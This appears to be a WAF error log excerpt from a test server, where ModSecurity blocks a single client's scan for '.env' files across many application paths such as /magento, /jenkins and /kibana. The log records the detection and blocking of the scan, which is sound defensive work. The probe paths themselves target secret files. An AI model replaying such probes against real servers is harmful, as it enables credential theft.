[Wed Feb 25 06:05:17.149651 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;aZ6DDbZegw_qLbSTRXm50QAAAAM&quot;]
[Wed Feb 25 06:05:17.180892 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /magento/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magento/.env&quot;] [unique_id &quot;aZ6DDbZegw_qLbSTRXm50gAAAAM&quot;]
[Wed Feb 25 06:05:17.181131 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magento/.env&quot;] [unique_id &quot;aZ6DDbZegw_qLbSTRXm50gAAAAM&quot;]
[Wed Feb 25 06:05:17.181297 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magento/.env&quot;] [unique_id &quot;aZ6DDbZegw_qLbSTRXm50gAAAAM&quot;]
[Wed Feb 25 06:05:17.230967 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mailinabox/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailinabox/.env&quot;] [unique_id &quot;aZ6DDbZegw_qLbSTRXm50wAAAAM&quot;]
[Wed Feb 25 06:05:17.231213 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailinabox/.env&quot;] [unique_id &quot;aZ6DDbZegw_qLbSTRXm50wAAAAM&quot;]
[Wed Feb 25 06:05:17.231378 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailinabox/.env&quot;] [unique_id &quot;aZ6DDbZegw_qLbSTRXm50wAAAAM&quot;]
[Wed Feb 25 06:05:17.259855 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /javascript/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/javascript/.env&quot;] [unique_id &quot;aZ6DDSn6hL63qXWzsp19jgAAAAE&quot;]
[Wed Feb 25 06:05:17.260084 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/javascript/.env&quot;] [unique_id &quot;aZ6DDSn6hL63qXWzsp19jgAAAAE&quot;]
[Wed Feb 25 06:05:17.260230 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/javascript/.env&quot;] [unique_id &quot;aZ6DDSn6hL63qXWzsp19jgAAAAE&quot;]
[Wed Feb 25 06:05:17.271145 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mailman/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailman/.env&quot;] [unique_id &quot;aZ6DDbZegw_qLbSTRXm51AAAAAM&quot;]
[Wed Feb 25 06:05:17.271389 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailman/.env&quot;] [unique_id &quot;aZ6DDbZegw_qLbSTRXm51AAAAAM&quot;]
[Wed Feb 25 06:05:17.271545 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailman/.env&quot;] [unique_id &quot;aZ6DDbZegw_qLbSTRXm51AAAAAM&quot;]
[Wed Feb 25 06:05:17.345693 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /jenkins/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jenkins/.env&quot;] [unique_id &quot;aZ6DDSn6hL63qXWzsp19jwAAAAE&quot;]
[Wed Feb 25 06:05:17.345971 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jenkins/.env&quot;] [unique_id &quot;aZ6DDSn6hL63qXWzsp19jwAAAAE&quot;]
[Wed Feb 25 06:05:17.346158 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jenkins/.env&quot;] [unique_id &quot;aZ6DDSn6hL63qXWzsp19jwAAAAE&quot;]
[Wed Feb 25 06:05:17.406611 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /joomla/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/joomla/.env&quot;] [unique_id &quot;aZ6DDSn6hL63qXWzsp19kQAAAAE&quot;]
[Wed Feb 25 06:05:17.406925 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/joomla/.env&quot;] [unique_id &quot;aZ6DDSn6hL63qXWzsp19kQAAAAE&quot;]
[Wed Feb 25 06:05:17.407147 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/joomla/.env&quot;] [unique_id &quot;aZ6DDSn6hL63qXWzsp19kQAAAAE&quot;]
[Wed Feb 25 06:05:17.442359 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /js-plugin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js-plugin/.env&quot;] [unique_id &quot;aZ6DDSn6hL63qXWzsp19kgAAAAE&quot;]
[Wed Feb 25 06:05:17.442683 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js-plugin/.env&quot;] [unique_id &quot;aZ6DDSn6hL63qXWzsp19kgAAAAE&quot;]
[Wed Feb 25 06:05:17.442896 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js-plugin/.env&quot;] [unique_id &quot;aZ6DDSn6hL63qXWzsp19kgAAAAE&quot;]
[Wed Feb 25 06:05:17.861601 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /jsrelay/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jsrelay/.env&quot;] [unique_id &quot;aZ6DDSn6hL63qXWzsp19mgAAAAE&quot;]
[Wed Feb 25 06:05:17.861893 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jsrelay/.env&quot;] [unique_id &quot;aZ6DDSn6hL63qXWzsp19mgAAAAE&quot;]
[Wed Feb 25 06:05:17.862078 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jsrelay/.env&quot;] [unique_id &quot;aZ6DDSn6hL63qXWzsp19mgAAAAE&quot;]
[Wed Feb 25 06:05:17.938712 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /jupyter/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jupyter/.env&quot;] [unique_id &quot;aZ6DDSn6hL63qXWzsp19mwAAAAE&quot;]
[Wed Feb 25 06:05:17.938939 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jupyter/.env&quot;] [unique_id &quot;aZ6DDSn6hL63qXWzsp19mwAAAAE&quot;]
[Wed Feb 25 06:05:17.939092 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jupyter/.env&quot;] [unique_id &quot;aZ6DDSn6hL63qXWzsp19mwAAAAE&quot;]
[Wed Feb 25 06:05:18.002699 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /khanlinks/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/khanlinks/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19nAAAAAE&quot;]
[Wed Feb 25 06:05:18.002995 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/khanlinks/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19nAAAAAE&quot;]
[Wed Feb 25 06:05:18.003188 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/khanlinks/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19nAAAAAE&quot;]
[Wed Feb 25 06:05:18.119836 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kibana/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kibana/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19nQAAAAE&quot;]
[Wed Feb 25 06:05:18.120117 2026] [:error] [pid 2312880] [client 185.177.72.13:16408] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kibana/.env&quot;] [unique_id &quot;aZ6DDin6hL63qXWzsp19nQAAAAE&quot;]
